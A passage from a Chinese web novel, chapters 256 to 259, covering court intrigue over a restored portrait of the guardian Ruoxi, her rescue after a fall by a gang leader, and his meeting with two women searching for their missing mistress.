陆贤随之双手将其高高举上至头顶,扬声故意道“老夫乃是奉吾皇之命,特地前来亲自送一幅画给秦王殿下。” “送一副画给本王?本王今日早朝,怎么未在宫中听皇兄谈及?是什么画?程良,拿上来。”轩辕翰故作纳闷不解地道。 “是!”程良领命走到陆贤身旁将其接过,又回去恭敬地递到轩辕翰手中。 “这是?”岂料轩辕翰虽一见眼前的架势,便心里有了些数。然等打开来画轴一看,仍顿时不禁一双星眸朝其一怔,被里面的内容惊呆了。 这时,陆贤方才开口缓缓解释起来道“这是承蒙吾皇不弃,交于老夫花费了十七年的时间,于近日里终于将其修复好了的西秦守护者,若曦姑娘的画像。” “守护者画像?西秦守护者代代均以守护西秦天子为己任,这与本王有何关联?你拿这个给本王看是何意?”轩辕翰冷冷地问。 陆贤随即一脸严肃地道“传吾皇口谕,秦王接旨。” 轩辕翰闻声,忙走下来与殿内所有人一起朝其跪拜道“吾皇万岁,万岁,万万岁!” 陆贤传旨道“西秦守护者遗失多年,甚是惋惜。甚致使我西秦国这些年来内忧外患,天灾**不断。故,寻回守护者乃是身为轩辕皇族人之大事,义不容辞。更为了西秦能够国泰民安,今朕着令秦王不遗余力,竭尽所能寻回失踪了的守护者,钦此!” 轩辕翰:“臣,谨遵圣旨!” 这时,陆天麟从身上掏出又一卷画轴来,将其交到父亲陆贤的手中。 陆贤随即语重心长地对轩辕翰道“殿下,小女深受王妃娘娘抬爱,在王府里陪伴娘娘已有些时日,老夫甚是想念。昨夜无聊,凭着记忆做了这副小女的画像,烦请殿下将此转交于小女,以寄其相思之苦,不甚感激。” 轩辕翰自是对此默不作声,程良忙上前来替其接下。 陆贤看了看窗外的天色,道“时候不早了,老夫还要回宫去向吾皇复命,就此告辞,还望殿下保重!”话一说完,那俩个宫人便如同跟班监视的一样,紧随于陆贤父子之后,四人一道踱步匆匆离去。 望着其远去的背影,轩辕翰一脸狐疑:如今的陆贤可不是如此儿女情长之人,况且陆天骄平日里与西秦学院的书信往来甚是频繁。 这次,陆天骄在秦王府也就只不过才小住了半月有余的样子,想以前太妃在世的时候,她即使在王府里住个大半年,陆贤也如同视而不见一般,今又怎至于如此。 眼睛一撇,忽见程良将案上摊开来的守护者画像卷起,手里拿着陆贤给陆天骄的画轴正欲离去,轩辕翰忙出声将其拦住道“等等……” 第二百五十六章:移花接木 轩辕翰正在纳闷间,眼睛一撇,忽见程良将案上摊开来的守护者画像卷起,手里拿着陆贤给陆天骄的画轴正欲离去,轩辕翰忙出声将其拦住道“等等,将你手中的那幅画给本王看看。” “殿下,这幅画方才陆院长不是说是昨夜作给陆小姐的本人画像嘛,殿下…您要看?”程良闻声,朝其一脸的惊愕,只觉得自己是不是幻听了。 对于陆天骄,就算其真人精心打扮一番,或含情脉脉,小鸟依人,或抚媚地站在他这位主子的面前,亦不见得他曾正眼瞧她一下。可如今,他竟然要看她的画像。更何况,元宵之夜的惊天揭秘,至今都还历历在目,未曾散去。 就在其尚还处在真假难辨的思索之际,轩辕翰已亲自踱步到其身旁,伸手缓缓从其手中抽出了程良正紧紧攥着发愣的画轴来。 只见轩辕翰对着卷起的画轴怔了片刻后,幽幽道“陆贤,他可从来都不敢如此大胆,将陆天骄的画像让本王来替他转交。他之所以故意这样做,一定是想以此来引起本王对这幅画的注意。这幅画里...一定暗藏玄机。” 闻此,程良终于清醒了过来“原来如此,属下还以为殿下您对陆小姐……” 然话刚开口,便被轩辕翰瞬间一副冷厉极了的眼神将其所剩余的所有话都噎了回去。 轩辕翰兀自回到守护者画像所在的案几边上坐下来,将两幅画轴拿在手里,里里外外,仔仔细细地端详对此了许久,道”这么多年了,他终是不辱使命,找到了方法,完成了守护者画像的修复重任。但为何本王交待过他如此最重要的事,本王却在皇兄之后方才得知呢?” “以陆贤的为人和对殿下的忠诚来看,他应该不会背叛殿下才对啊!”程良亦是不解地道。 “难道是...一定是西秦学院里也混入了宫里的耳目,他方才等不及禀报与本王商议,便已被皇兄捷足先登。”轩辕翰忽然想起凌晨偶遇梅志煊的事,不禁联想到。 这些年,他又怎会不知自己和秦王府一直都处在帝的暗地里严密监视中。他若是无缘无故私底下与梅志煊见面,那多疑的帝还不知道要闹出什么幺蛾子来。 程良闻声,惊呆了“那皇上让陆贤带给殿下的这幅守护者画像……” 不及程良将话问完,轩辕翰脱口便道“是让陆贤照着真迹重新临摹出来的一幅?” 此时,他的脑海中忽然浮起陆贤的话来,不禁喃喃重复道“昨夜无聊,凭着记忆做了这副画像,烦请殿下将其转交于小女……” 轩辕翰正在思索着,忽然匆匆将守护者画像和陆天骄的画像同时打开展了开来,铺在案上。 细细查看了一遍后,道“两幅画的墨迹都似是尚还未干透,的确是昨夜同时所作,应是无疑。” 程良亦凑在一旁看了后,怀疑道“皇上会不会逼陆贤在这幅所临摹的守护者画像上做了什么手脚?守护者的样貌其实是假的?” “不会的,他既然下旨让本王不遗余力寻回守护者,就一定会给本王真正的守护者画像。”轩辕翰紧紧盯着陆天骄画像上的那张似是有些奇特的脸,肯定道。 稍作思量,却忽然炸了句“除非这两幅守护者画像,本身都是假的。” “什么,都是假的?那就是说,守护者画像的修复重任,陆贤并未完成,那他岂不是欺君?”程良一时间瞪大了眼睛,惊讶道。 只见轩辕翰对程良此时口中所言的什么欺君之类的话完全不屑一顾,他一双深邃的眼眸始终都只自顾自一动不动地凝视着陆天骄画像上的世间难得罕见好看的一双凤眼,似是都要将自己的整个人都吸入到画中的眼睛里去了似的,让人入迷极了。 半晌后,他忽然愣愣地开口问道“程良,在你的记忆中,陆天骄,她可有一双世间罕见极了的凤眼?” 程良忽然被这么一问,不禁想起了几日前陆天骄到自己的院子里来寻他,请他派人护送梅汐媛前往城南城隍庙时的那莞尔一笑,再看看画像上的一双炯目,道“陆小姐的眼睛,好像不是这样的。人物画像里,眼睛可是一个人的灵魂。这陆贤莫非是老糊涂了,竟连自己的亲生女儿的眼睛是什么样亦都记不清了。” 轩辕翰听闻程良所言,惊讶地盯着他的脸,认真道“哦,不是这样的吗?” “肯定不是这样的,属下觉得陆小姐的眼睛比较圆圆的,应是小圆眼。眼形圆圆的,睑裂高宽度短小,眼白露出少,眼球显小,其实天生倒是挺可爱稚嫩的一种眼形,可惜……”程良颇为认真地看着陆天骄的画像,对其摇了摇头,甚感惋惜道。 闻此,目光一直游离在两幅女子画像上的眼睛处的轩辕翰,似是瞬间彻底明白了过来,道“莫非是…‘移花接木’,程良,磨墨!” “‘移花接木’…啊?殿下您这是要……”程良一边甚感纳闷不解地道,一边急急上前过去开始磨起墨来。 轩辕翰提起毛笔,一边急急在空白纸上临摹陆贤的画,一边似是心情难得的好地说着“本王知道为什么陆贤要说让本王转交此画了?他知道本王不会看任何女子的画像,除了守护者的以外。所以,他才故意叮嘱要让本王好好看看陆天骄的这幅画。刚才你说的很对,‘人物画像里,眼睛可是一个人的灵魂’。陆天骄画像里的这双眼睛,并不是她真正的眼睛,而是守护者的眼睛。本王听闻守护者甚美,‘手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。’宛若一个落入凡尘的九天仙女一般。怎会还不及陆天骄的眼睛。反而,你看看守护者画像上的这双眼睛,那才是你方才所说的陆天骄的小圆眼。” 这番话,程良似是听得迷迷糊糊,只听懂最后一句,是说守护者画像上的眼睛才是小圆眼。随即放眼过去一看,不禁欣喜道“还真是耶!” 轩辕翰奋笔疾书着,继续道“所以,将陆天骄画像 上与其实际不符的一双世间罕见的好看的凤眼,替换掉守护者画像上的小圆眼,这…才是真正的守护者样貌。” 就在俩人说话间,由轩辕翰拼凑临摹而成的守护者脸部图已单独被其画了出来。 而这时,轩辕翰的眼睛顿时朝其怔着,似是惊呆了。然却并不是因为守护者终于被恢复了的美貌,让他惊异的究竟是什么,似乎就连他自己也说不清楚。 半晌后,只听他对身旁正一脸期待着的程良低声喃喃道“程良,你觉不觉得这个人有些眼熟?” “是啊,属下也觉得的确有些眼熟,似乎是在哪里见过一样。”程良仔细看了许久,亦道。 “到底在哪里见过呢?”轩辕翰在心里默默地自问。 一时间,大殿里一室寂静,唯有欢快明亮的烛火从不停止摇曳的曼妙身姿,丝丝缕缕的香烟袅袅飘浮不断…… 是夜,西秦皇宫里。 陆贤父子回宫一向帝复命之后,便急匆匆地出了宫门,直朝西秦学院返回去。 这时,大公公正急急迈步进入到寝宫里来,行礼后近身到帝的身旁向其禀告道“皇上,护送陆贤去秦王府的人回来说,陆贤除了宣旨,并无与秦王再多说些什么。只是…昨夜陆贤临摹完守护者画像后,同时亦作了一幅其女儿的画像,不想今日亦一同带至了秦王府让人转交给其女。” “陆贤女儿的画像...可有检查过有什么不妥之处?”帝停下手中正欲入口的茶汤,疑心道。 “作画所用的材料都用的是宫里的,奴才亦曾亲自仔仔细细地翻来覆去检查过多次,并无发现有什么异样。”大公公见此,心中隐隐仍是有些怯怕,但依旧肯定地回道。 “怕是不只那么简单……无论如何,接下来的事至关重要,一定要派人将秦王府和西秦学院给朕盯好了。为防万一,寻回守护者,亦不能全靠秦王,另外还要再派一批精锐的死侍尽快去灵空寻找,一有什么风吹草动,立刻来报。”帝半眯着眼睛,露出一脸的严肃与决心道。 “可是,皇上您贵为西秦国当朝之真命天子,为何一定要将守护者寻回搁在眼前呢?据传,守护者非臣非贵族,不受朝廷管束,亦不拿朝廷俸禄,只要她存在于这个世界的某一个角落,便能与天子发生心灵感应,为其设法解除危难……” 岂料大公公的这句话尚未说完,便被帝一双寒光四射的眼眸盯地默默收住声,低下了头去,再也不敢多嘴。 片刻后,大公公再一次又小心翼翼地提醒道“皇上,依照规矩,守护者画像应由当朝皇后保管,以作不时之需。” “让人临摹好后,便将原迹交给皇后吧!”帝默了半晌,道。 “遵旨!” 至此,大公公正欲退下,帝又忙补了一句道“还有,派人小心去查,那陆贤的女儿,她是否真的收到了其父亲的礼物,还是…那幅画…另有他情!” 第二百五十七章:医画医病难医她 “父亲,你确定殿下能发现守护者画像与妹妹画像被咱们‘移花接木’的秘密吗?”一出宫门便坐进西秦学院自己的马车内扬长而去的陆天麟,许久后见已远离了皇城的耳目,终于忍不住开口问道。 “天骄自小几乎是在秦王府里长大的,殿下一定会看出来的,放心吧。”陆贤一边闭目养神着,一边捋着胡须,自信满满地幽幽道。 “可若妹妹从小自大,根本就不曾真正入殿下的眼,那妹妹的眼睛,殿下又岂能发现其端倪?”陆天麟还是担忧极了道。 “天麟,你要知道,轩辕翰...他不是别人,他可是心思极其缜密的秦王。况且,天骄画像上的那双眼睛,乃世间罕见的好看,你就放心吧。不过,这次亏得你这副似是天生一般灵活稳定的手腕,难能可贵竟能耐下心来帮为父细致地按照画卷原本的经纬来填补色。尤其是画面中那些因破洞所造成的人物眼部关键部位的断笔,接笔做的甚是完美无瑕。这才方使得守护者画像终得以修复,天麟我儿,真的长大了!”陆贤说着,不禁将一手伸出搭在陆天麟的肩头,甚感欣慰的笑着对其称赞道。 “孩儿只是遵照父亲平日教导所说的‘画医就是医心,画心’,孩儿在接笔前,对守护者画像的作画之人的笔法先仔细研究,深入了解了许久,方才知道了其笔意的来龙去脉,修补时便就如同和作画者一起作这幅画一般,全身心投入,竭尽全力,细致细心地去做这件事而已。”陆天麟谦虚道。 闻此,陆贤不住地朝其满意极了的点着头。 忽然,陆天麟转念一脸忧心忡忡地轻叹了口气,道“父亲,如今皇上对秦王殿下的防范戒心,似乎越来越明显了,昨夜孩儿废了九牛二虎之力,好不容易才避开了皇上耳目的跟踪。” 闻此,陆贤脸上的笑容渐渐淡去,亦静静地转过了头端坐起,瞬时变作一脸严肃,沉默不语。 这时,陆天麟的脸似是更阴沉了几分,幽幽道“昨夜,孩儿在集市上瞎逛,碰到了妹妹,本想乘机神不知鬼不觉地正好交代她几句,可惜什么都还尚未来得及与她说,她便气呼呼地跑开了。” “哦?果真有此事,这是为何?”陆贤顿时惊声问道。 陆天麟又叹了口气,一脸茫然无措地道“‘医画医病难医她’。父亲,其实妹妹对殿下,好像...至今都尚未曾放弃,她对殿下的心思,显然已经是到了一发不可收拾的魔怔地步。如今,又整日里跟那个东宁公主厮混在一起,不知道其究竟意欲何为?孩儿怕妹妹会……” 显然,陆天麟如今对这个执迷不悟的妹妹,已然是即担心又无可奈何。 姑娘长大了,心思自也是更深不可测,抓不住了。陆贤即使再对这个女儿平日里缺乏关心,陆天骄这点西秦学院里人尽皆知的心思他还是清楚的。 然作为过来人,他自是比很多人都更明白,这世上的许多事,尤其是男女 之间的事,若是强求,那便只会是让两个人一生都陷在痛不可言的悲苦之中。 于是,他默默地沉声说道“世间万事与万物,皆逃不过‘宿命’二字。是她的,终究是她的,不是她的,到头来皆是枉然。可惜,她天资聪慧,却始终都看不破这点。你母亲去的早,很多女儿家的心思,她不说,为父也不便问。再说了。秦王殿下,他又怎会是那种眷恋儿女之情的人,并不见得就是一个好女子的良配。” 在陆贤的心里,其实一直都更希望陆天骄做一个快乐幸福的普通女子,然奈何总是事与愿违,这个女儿的心思显然始终都挂在那个她不该惦记的人身上。 “父亲,殿下大婚的时候,妹妹曾说...殿下心中是有一个女子的?”闻此,陆天麟想着想着,忽然喃喃道。 “什么?真的?”陆贤听闻,心中倒确实是惊了一下,却并没有多问什么。 “父亲,难道您不想知道那个人是谁吗?”陆天麟随即放眼过去到其脸上,似是故意地道。 “听你这话的口气,似乎那个女子是为父所熟识的人?”陆贤这才缓缓睁开眼来,看着陆天麟的眼睛与其对视道。 陆天麟抿了抿嘴,继而一副郑重其事地架势对其说道“这个能让其唯以所肩负的天下黎民苍生为自己的全部,万年冰冷的秦王所上心的女子,她是...城西衣府衣药师家的...小姐。” “是雪儿啊,那个孩子,的确是挺活泼可爱的,倒是可以与殿下的性子相补。多年不见,她应该已经长成大姑娘了吧!不过,没想到这衣药师如此一个走中庸之道的人,如今竟也胆敢和秦王走的这么近,为父倒是对这个着实更有些惊讶啊!”陆贤一张充满智慧的脸上,现出了那么一点点异样的眼光道,继而又兀自转过了头去,将眼睛再次闭起。 “不是雪儿,是...是衣府的那个废柴丑女。”陆天麟不知为何,忽然有些怯怯的将话一说完话,便将头沉沉地低了下去。 “什么?怎么会是她?”这次,陆贤终于大吃了一惊,顿时将目光急急睁了开来,兀自猛地挪到了陆天麟的侧脸上朝其一怔,惊呆了。 半晌后,陆天麟终于似是鼓起了勇气,亦看着父亲的眼睛认真说道“这是妹妹说的,看样子似乎不假。孩儿后来细细一想,殿下对那女子,似是有些非同寻常。不过,昨夜孩儿从宫中出来后,一摆脱那些宫里的耳目,便先去了一趟城西衣府,本欲去拜访衣药师向衣家大小姐当面致歉。岂料刚走到衣府门前的时候,听守门的人说,衣府大小姐往城南一行,已有多日未归,怕是凶多吉少了。衣药师已派了衣家公子亲自去城南寻找,至今都尚未归来。” “怎么会这样?”陆贤顿时皱起眉头来,一脸不解道。 陆天麟有些黯然地摇了摇头,亦是不知其中原由,兀自继续说道“还有一事,孩儿从衣府门前听说此事后,正欲往皇城集市上看 热闹,路经衣府门前的一个茶馆时,听说了一个十分怪异的事情。” “哦?是何事?”陆贤正陷入自己的思索中,闻声又忙问道。 陆天麟看着父亲的眼睛,认真道“茶馆里有很多人聚在一起在议论,说衣家大小姐昏迷一年后,在其醒来的那天夜里,衣府后院的空中,从天而降一道宛若一只七彩凤凰虚影的灼眼光芒,最后正好落入了衣大小姐的阁楼上。他们传说…说真正的衣家大小姐已经死了,现在的大小姐乃是被妖怪的魂魄附了体。” 闻此,陆贤一时间里竟被陆天麟的这番话惊的瞪大了眼睛,似是连话都说不出了一般。 “父亲,父亲”陆天麟见了,一声接着一声在其耳畔呼唤着吃惊怔愣住了的父亲。 “凤凰虚影…莫非是……”许久后,陆贤仍一副惊的怔愣着的眼神,愣愣地道。 “是什么?”陆天麟着急地问。 只见陆贤急急用手指一边忙掐算着,一边道“莫非她就是那个失踪了多年的守护者遗孤。可是...这怎么会呢?她明明就是衣上坤正室所生的唯一子嗣啊,又怎么会是……衣上坤的这个孩子,据说因为打出生以来就存在于其脸上的惊人胎记,一向都是遮着面纱示人的,故此,从未有人见过其真正相貌。没想到,这些年,我们竟忽略了就近在身边的她……” “什么?这怎么可能?”陆天麟亦大惊失色道。 “相传代代守护者的肩部都有一凤凰印记,乃是受到凤凰庇护之象征,方得以世世代代,生生不息。凤凰虚影现世之处,便是其认主之时。” “这...这...这不会弄错吧?可是守护者画像上的女子美若天仙,脸上又怎么会……”陆天麟闻此,整个人都似是惊呆了。 “胎记?或许这便只有衣药师自己知道是怎么回事了?这个老东西,这么多年了,竟然隐藏的如此之深。为今之计,只有确定那衣家大小姐的身上是否有此凤凰印记,只要确认了这点,便算是完成了殿下对为父此生最大的所托。”这么多年了,陆贤一直闷闷着的心似是终于快要得以释怀。 一念至此,他忙交代陆天麟道“事不宜迟,等到了城南之后,你便赶快下车去寻失踪了的衣大小姐,想办法验明其正身。到时候,为父再想办法与殿下联系...还有一事,学院里的那个细作,先不要打草惊蛇,为父倒是想看看,他究竟想要做什么?这个人,有没有查过当初是怎么进到来学院里来的?” “是……是太妃去世的那年,妹妹带回学院的,说是半路途中遇到的无家可归的可怜流浪汉。后来,便安排在学院里做些修剪花花草草的粗活。”陆天麟低声怯怯地道。 “太妃去世的那年,都已经这么多年了!难怪皇上会对殿下的防范之心越来越严密。天骄带回的……”陆贤幽幽地说着,一双深邃的眼睛一动不动地盯视着前方,变得越来越让人琢磨不透…… 第二百五十八章:误入骁龙会 空山新雨后,天气晚来舒。明月松间照,清泉石上流。 寂静的夜半时分,黑漆漆的深山老林里,一场如油珍贵的春雨过后,万物皆开始疯狂地猛长起来。 夜里的空气,亦变得异常清新,让人心里不禁感觉难得的清澈明朗与凡尘不染。然周围如此静悄悄的一切,又似是静的那般可怕。 这时,从高山上坠落山坡而下,昏迷了已有大半天的若曦,经过了一场大雨的浇灌之后,正蜷缩起的小身子微微动了动,终于缓缓醒来。 迷迷糊糊的意识中,却似乎听到了一片寂静的周围里,耳边只传来“噼里啪啦”似是一堆篝火正在熊熊燃烧的声音。 眼睛试着慢慢睁开来,这才发现原本似是极其微弱的光感又重新恢复了。侧脸过去一探,没错,那发出“噼里啪啦”阵阵声响出来的,正是一团火光。 于是,她隐忍着浑身的伤痛,挣扎着缓缓坐起身来。 突然,耳畔传来似是就在身旁的一阵极富磁性,浑厚的中年男子声音道“醒啦!” 她不禁顿时被这声音吓了一跳,心里咯噔一下,同时就连其瘦弱单薄的身子亦忍不住抖动了一下,又惊愣了片刻,方才似是本能一般地将身子赶忙蜷缩起,不明所以,小心翼翼地朝着与其声音相背的方向远离退后了去。 显然,这个人的声音对她来说,是完全陌生的,不知其是善还是恶?于是,她紧紧抱着双膝缩在一个角落里,怯怯地开口问“你是什么人?我们这是在哪儿?” 只见一身着一袭黑色披风,墨发半束,气度从容,一只手抱着一坛女儿红正大口畅饮,另一手则握着一根干树枝在挑拨横在俩人之间的那堆篝火,以使其能燃烧地更旺,散发再多一些温热,双腿盘坐在若曦对面的中年男子,这时方才抬起头来朝着周边里四处打量了一番,吸了口气,最后沉声说道“这是一个...尚还算是可以遮风避雨的山洞。至于我嘛…恰巧途径此地,你唤我龙大哥好了。” “山洞?龙大哥?...是你救了我?”若曦眉头微蹙,似是至此方才缓缓回忆起了午后在山里所发生的一切,侧耳对着其惊问道。 然那中年男子闻声,却骤然哼笑了一声,只自顾自地对其有些惊诧地道“你这个丫头,命倒是很硬嘛!从几十米那么高的山坡上,和遭到雷击又起了火的松树纠缠在一起滚落下来,竟然只是受了些极其轻微的皮外之伤。这世上,恐怕是再没有第二个能和你这般如此幸运的人了!不过,若不是因为这场大雨及时将那棵树上所燃烧的大火浇灭,那就不知道你还有没有这样幸运了。...对了,你又叫什么名字?” 这话一出,听着男子言语里所流露出的爽朗温和又似是带着有些桀骜不驯的语气,若曦心里突然间似乎变得没有像刚开始那样对他有防备之心了。于是,缓缓放松了那抱在膝前的胳膊,暗自 想了想,对其柔声致谢道“多谢恩人的救命之恩,恩人可唤我作...若曦。” “若曦‘’中年男子闻声,又灌下一大口酒,继而低声默默地重复了一句道。 一抬头,忽撇见了外面的一片明亮月色,一转念,中年男子又问“若曦姑娘,你家住在何处?等天一亮,我便送你回去,还是...你自己回去呢?这座山林此起彼伏,绵延不断,你该不会迷路吧?” 闻此,不知为何,若曦脑海里一时间顿时一片空白,似是还有些隐隐地脑袋胀痛感油然而生,便有些黯然木讷地吞吞吐吐喃喃道“家在何处...家...龙大哥,实不相瞒,其实,若曦因为经历了一些事情,如今不仅失明...而且还失忆了,所以才会不慎从山坡上滑落下来。也不知道,王二和那位大叔他们怎么样了……” 闻此,那中年男子顿时将一双深沉极了的眼睛向其怔愣着看了过来,似是惊呆了似的暗自沉声喃喃道“怎么会是这样?” 若曦抿了抿嘴,继续道“原本,若曦被一村里的老妇人所救,寄居在她的家中,刚醒来的时候,听她说过一次,是叫什么村来着?...可是这会儿,若曦是真的一点儿都记不起来了。…哦,对了,她家还有个叫做欢儿的小女子,她们俩似是相依为命的主仆俩人。” “如此说来,那你就只能先跟我回去了。这座深山老林里,平时很少有人经过,是个很危险的地方,野兽也时常会出没。待我回去,多派些人去附近的村落里打探清楚,到底是谁家收留的你,再将你送回去,可好?”中年男子想了想建议说道。 若曦虽未言明答应跟他回去,却也是如今像无根浮萍一般随处漂流,走投无路又无可奈何地一种默认。她总不能就这样形单影只地孤身留在这座深山老林里坐以待毙,等着给那些凶残的豺狼野兽打牙祭吧。 于是,俩个人就这样围着一堆篝火慢慢熟络了起来,在这个深山老林中破烂不堪的山洞里挨过了一个漫漫长夜之后,第二天天色刚微微亮的时候,中年男子便将若曦架在自己的马背上,将其拥在怀里,俩人一起策马离开了山洞,穿梭进一片云雾缭绕,树木连绵不断的山林之中。 约摸赶了一个多时辰的路程终于出了山林,中年男子兀自带着若曦一直向南行进,淌过了一条潺潺的小河,继而又穿越了一片绿树成荫的密密树林,便到了一山脚下,若曦方才感觉一直疾驰着的马步似是缓缓减慢了下来。 继而,前方隐隐现出了一道似是有人驻守着的气势雄伟的石门来,石门上悬挂着一标识着“骁龙会”三个气势滂沱的金色大字匾额。 骁龙会傍山而立,规模看起来相当之大。石门两侧则各自高高耸立着一面黑底红边的四方形旗帜,那旗帜中心绣着一条威风凛凛似是欲要腾空而起的金色巨龙。 守门的守卫远远地一看清来人,便有俩 人忙将大门大敞了开来,待其一进入门来,又忙将门紧紧关起。 这时,便有一手下疾步上前来,将中年男子的马儿替其稳稳地牵住,众人待其一跨下马来,便朝着拱手齐声道“参见帮主!” “帮主?”闻声,尚还在马背上的若曦心里突然间抽搐了一下,停顿住。 接着,只听到那中年男子对上前来牵马的手下仔细吩咐道“将这位姑娘带下去好生安置,再多派些人往周边的各个村落里去仔细查查,看谁家丢了这个姑娘。” “属下领命。” 直到驻足亲眼看着,待其手下将若曦连同马儿一起带往到后面一排的院落里拐了进去,消失不见,中年男子似是方才安心了下来,便急急踱步向着东院里的骁龙堂正厅里走去。 岂料刚迈开步来没几步,便见又俩个手下捆着俩个女子,头上遮着黑布套,押着亦往后院里偷偷摸摸地急急奔去,那俩个女子似是还被堵了嘴巴,拼命地在其手中咿咿呀呀地喊着挣扎着。 “这两个女子是怎么回事?”中年男子见了,毫不犹豫地径自踱步过去将其拦住,问道。 “参见帮主,方才兄弟们在后山巡山下山的时候,在河边发现了这俩个妞看起来不错,副帮主让咱们将她带过去他屋里伺候……”俩人立刻止步住朝其行礼,其中一个黑脸壮汉一脸惶惶不安,怯怯地朝其禀报道。 “放开她们!”中年男子听了,顿时一脸阴沉地朝其命令道。 岂料那黑脸壮汉却仍一副犹犹豫豫,似是一脸难色地朝其支支吾吾道“帮主,可是副帮主他……” “啪”怎料其尚未及将剩余的话说完,重重的一巴掌便稳稳地拍在了黑脸壮汉的脸上。 顿时间他捂着半张脸,就连整个人都在原地里打转了好几圈方才停了下来,继而俩人忙扑通一声地跪地求饶道“帮主饶命,帮主饶命,小的这就放人,这就放人。” 霎时间,俩个妙龄女子身上的绳子迅速地被松了开来,嘴巴亦恢复得了自由,套在头上的黑布套亦被人摘掉,中年男子这才双手负后,板着脸一脸严肃的问那俩女子道“你们俩个姑娘家,怎么会来如此偏僻的地方,你们是从哪儿来的?又来这里做什么?” 中年男子话音刚落,岂料俩个女子之中年龄似是比另一女子稍大一些的看起来已有了些世俗经验的女子瞪着眼睛,狠狠地朝着中年男子啐了一口,又忿忿道“土匪,强盗……” “土匪,强盗……”中年男子饶有兴趣地跟着其重复了一句道。 继而,又面带微笑着缓缓踱步围绕着俩个女子的周身转了一圈,最后背对着她们,厉声狠狠道“你们想见识一下什么才是真正的土匪,强盗吗?” 这时,旁边另一年龄小些的女子不知是因为害怕还是什么,忽然失声大哭了起来,一边抹泪,一边哽咽着道…… 第二百五十九章:大叔,我们没见过吧?! “土匪,强盗……”中年男子饶有兴趣地跟着其重复了一句道。 继而,又面带微笑着缓缓踱步围绕着俩个女子的周身转了一圈,最后背对着她们,厉声狠狠道“你们想见识一下什么才是真正的土匪,强盗吗?” 就在这时,旁边另一看起来年龄要小些,梳着一头灵巧的双丫髻女子,不知是因为害怕还是什么,忽然间失声大哭了起来,一边抹泪,一边哽咽着道“小姐,可怜的小姐,你到底在哪儿啊?你知不知道,燕儿来找你了,可为什么燕儿都找了这么久,几乎已是和大家分头寻遍了西秦所有的山河湖泊,却为何始终都不见你一点儿踪影呢?小姐,难道你真的就如此讨厌燕儿,不要燕儿了吗?还是…还是你已经……” 顿时,本应是俩个女子胆怯起来,而此时反倒是那中年男子一脸惊愕,和另一刚刚尚还气势汹汹的女子都不约而同地看向了眼前这个声泪俱下,伤心欲绝的小丫鬟,心里亦都随之油然而生出一种同情的伤感来。 突然,燕儿脸上似是显出来一脸决绝,暗自嘴里低声喃喃道“不,小姐,纵使你真的这般狠心不要燕儿了,燕儿也绝不能没有小姐。小姐别怕,无论上刀山也好,下油锅也罢,燕儿这就来陪你。小姐,你走慢些,等等燕儿……” 只见燕儿一边嘴里喃喃着,其眼睛亦瞬间迅速的抬了起来,朝着四下里犀利地扫了一圈,很快便锁定了院子中央竖起一面骁龙会旗帜的粗壮的杆子,继而朝其拼命地疾跑过去,狠狠地欲要一头撞上去。 “燕儿,不要啊!”另一女子一见眼前情况不妙,却已是惊愣在原地里似是永远都挪不开步来追上去了,只大声地朝其背影疾呼道。 闻声,那中年男子方才似是从正沉浸于其中的悲情里缓过神来。随即眼疾手快地以迅雷不及掩耳之势飞快地一双脚点地,继而整个人便腾空跃起,接着又在空中连翻了两个跟头,便不偏不倚稳稳地停在了燕儿眼看着正欲要撞上去的那根旗杆面前。 于是,燕儿便整个人重重地全力撞在了那中年男子结实的胸膛上,又被其猛地弹回倒在地上,一屁股重重地瘫坐在满是尘土的坚硬极了的地面上。 尚未等燕儿反应过来,另一女子便已忙奔上前来,俯身下去将其扶住,一脸惊魂未定地苦道“燕儿,你这是做什么?难道你不要命了吗?” 这时,燕儿方才似是缓过了神来,却依旧皱紧了眉头,吸着鼻子,声泪俱下着道“兰香姐,我们大家这么多人,这几日,几乎已经寻遍了所有水流经过的地方,却始终都丝毫没有关于小姐的任何消息,怕是早都已经错过了营救她的时辰。我家小姐她…她是不是已经…她一定是已经…已经……” 燕儿已然话提到了嗓子眼上,却始终都不敢说出口来。兰香一听她这番丧气话,顿时一脸怒气忿忿地朝其怒吼警告道“呸呸呸,不许你说这么不吉利的话。有道是‘好人有好报’,她一定 不会如此轻易便死去的。我不许你这么想,更不许你这么说,不许,你听到了吗?” 燕儿被这突然而至的严肃极了的厉声呵斥,惊地一愣一愣地。 就在俩人面面相觑着,都不知所措时,一直静静在旁边立着的中年男子缓缓踱步到其身边来,朝着二人各自打量怔望了一会儿,开口问道“你们俩吵吵闹闹,哭哭啼啼,都闹够了没有?知不知道这是什么地方,竟敢在此如此无视本帮主的存在,任自妄言?” 闻此,燕儿和兰香俩人方才抬起头来朝着男子身后的旗杆上看去。燕儿止住了哭声,低声纳闷地照着旗帜上甚是醒目的三个字念道“‘骁龙会’?是做什么的?” 兰香亦一脸不屑地将那旗帜瞟了一眼,继而急急接过其话头来,轻蔑地道“哼,还能是做什么的?无非就是些落草为寇,打家劫舍,无恶不作的土匪,强盗呗!” “哼…你一个姑娘家,一开口说话,便如此尖酸刻薄,莫非你爹娘从小没教过你待人说话的礼数吗?”中年男子冷冷地朝其哼笑了一声,单手负后着平静道。 燕儿听了兰香的话,虽心里亦是突然惊了一下,害怕极了,但仍伸手默默地在底下悄悄扯了扯兰香的衣角,示意其不要惹祸上身。 然兰香却似是根本就不将这些土匪强盗的嘴脸和恐吓放在眼里,反而挑眉对其更加蔑视地扬声故意挑衅道“哦?这位大叔,我们以前应该没见过吧!你是怎么知道兰香打小就是个有人生没人养的孩子。还是…这位大叔自己本来也就是和兰香一样的人呢?莫非,兰香方才有哪一句话说错了,冤枉了大叔你这骁龙会不成?” 闻此,燕儿一时间里似乎都被兰香的这番话吓得心惊肉跳了起来,连连拉扯着她的衣角,小心翼翼地怯声道“兰香姐,还不快住口,不要再说了。” 岂料,那中年男子听了竟突然仰天大笑了起来“哈哈哈哈哈…哈哈哈哈哈,你这个小姑娘,说话倒是很真诚嘛。竟胆敢对本帮主胆大妄为地畅所欲言,又如此言辞犀利,得理不饶人。不过,这话虽然难听,倒是这性子…看起来倒是与本帮主颇为相似呢。” 突然,那中年男子收敛笑声,一脸严肃地瞪向兰香,缓缓踱步近身到其身旁又俯下身来盯着她的眼睛片刻后,在其耳边低声道“你这个样子,让本帮主竟然忍不住想要……” 此时,兰香心里竟也突然七上八下了起来,惊声道“你想做什么?” 